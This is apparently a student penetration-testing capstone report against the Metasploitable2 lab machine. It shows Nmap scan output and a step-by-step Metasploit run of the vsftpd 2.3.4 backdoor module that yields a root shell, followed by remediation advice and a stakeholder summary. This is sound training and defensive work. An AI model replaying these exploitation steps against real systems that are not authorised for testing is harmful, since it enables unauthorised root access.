Capstone Project: Full VAPT Engagement Report

Target: Metasploitable2 (10.161.248.54)
Attacker Machine: Kali Linux (192.168.159.132)
Tools Used: Nmap, Metasploit
Methodology: PTES

1. Executive Summary

A vulnerability assessment and penetration test was performed on the intentionally vulnerable machine Metasploitable2 to identify security weaknesses.

During the reconnaissance and enumeration phases, an FTP service running **vsftpd 2.3.4** was discovered on port 21. This version is vulnerable, which allows attackers to obtain remote shell access.

The vulnerability was successfully exploited using the Metasploit Framework module exploit/unix/ftp/vsftpd_234_backdoor. After exploitation, a shell session was obtained on the target system, demonstrating the risk of outdated services.

The assessment highlights the importance of patch management, service hardening, and continuous security monitoring to prevent exploitation of known vulnerabilities.

2. Attack Timeline

Timestamp	Target IP	Vulnerability	PTES Phase
2026-03-09 15:40	10.161.248.54	Port scan initiated	Reconnaissance
2026-03-09 15:45	10.161.248.54	FTP service discovered	Enumeration
2026-03-09 15:55	10.161.248.54	VSFTPD Backdoor RCE exploited	Exploitation
2026-03-09 16:10	10.161.248.54	Shell access obtained	Post-Exploitation

3. Exploitation Steps

Step 1 — Port Scanning

The attacker scanned the target using **Nmap**.

Example command:

nmap -sC -sV 10.161.248.54

```
┌──(gyanesh㉿gyanesh)-[~]
└─$ nmap -sC -sV 10.161.248.54
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-09 15:53 IST
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 11.90% done; ETC: 15:53 (0:00:07 remaining)
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 89.24% done; ETC: 15:53 (0:00:03 remaining)
Stats: 0:00:57 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 93.62% done; ETC: 15:54 (0:00:00 remaining)
Nmap scan report for 10.161.248.54
Host is up (0.0013s latency).
Not shown: 899 filtered tcp ports (no-response), 78 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.161.248.29
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-bounce: bounce working!
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
```

Result:

21/tcp open ftp vsftpd 2.3.4

Step 2 — Exploitation

The vulnerability was exploited using the Metasploit module:

```
┌──(gyanesh㉿gyanesh)-[~]
└─$ msfconsole
Metasploit tip: Use help <command> to learn more about any command


 _____________________________________________________________________
|                                                                     |
|                       3Kom SuperHack II Logon                       |
|_____________________________________________________________________|
|                                                                     |
|                                                                     |
|                                                                     |
|                User Name:          [   security    ]                |
|                                                                     |
|                Password:           [               ]                |
|                                                                     |
|                                                                     |
|                                                                     |
|                                [ OK ]                               |
|_____________________________________________________________________|
|                                                                     |
|                                                https://metasploit.com |
|_____________________________________________________________________|


       =[ metasploit v6.4.99-dev                                      ]
+ -- --=[ 2,572 exploits - 1,317 auxiliary - 1,680 payloads            ]
+ -- --=[ 432 post - 49 encoders - 13 nops - 9 evasion                 ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
```

using search command in msfconsole, I found **exploit/unix/ftp/vsftpd_234_backdoor** this matching module.

```
msf > search vsftpd 2.3.4

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
```

by using **use** command I use this module.
use exploit/unix/ftp/vsftpd_234_backdoor

by using **options** command I found all the options that could be useful for exploitation.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: socks4, socks5, socks5h, http, sap
                                       ni
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.
```

Set all the required parameter one by one

set RHOSTS 10.161.248.54
run

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 10.161.248.54
rhosts => 10.161.248.54
msf exploit(unix/ftp/vsftpd_234_backdoor) > set rport 21
rport => 21
```

After running the exploit, a command shell session was opened.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 10.161.248.54:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.161.248.54:21 - USER: 331 Please specify the password.
[+] 10.161.248.54:21 - Backdoor service has been spawned, handling...
[+] 10.161.248.54:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.159.132:41007 -> 10.161.248.54:6200) at 2026-03-09 16:11:02 +0530

id
uid=0(root) gid=0(root)
whoami
root
```

and when I run **whoami** command found me as root user.

4. Remediation Plan

To mitigate this vulnerability, the following security measures are recommended:

- **Update FTP Server:** Upgrade vsftpd to a secure version.
- **Patch Management:** Regularly apply system security updates.
- **Disable Unnecessary Services:** Disable unused FTP services.
- **Network Segmentation:** Restrict FTP access to trusted networks.

Stakeholder Briefing

A security test was performed on a server to identify weaknesses that could allow unauthorized access. During the assessment, the testing team discovered that the server was running an outdated FTP service. This service contained a known security flaw that attackers could exploit to gain remote access to the system.

Using standard security testing tools, the vulnerability was successfully exploited, allowing the tester to obtain command-level access to the server. This demonstrates that an attacker could potentially take control of the system if the vulnerability existed in a real production environment.

The issue occurred because the FTP software version was outdated and contained a publicly known vulnerability. Updating the software and implementing proper security controls would prevent this type of attack.

Organizations should regularly update their systems, monitor network activity, and perform routine security assessments to identify vulnerabilities before attackers can exploit them.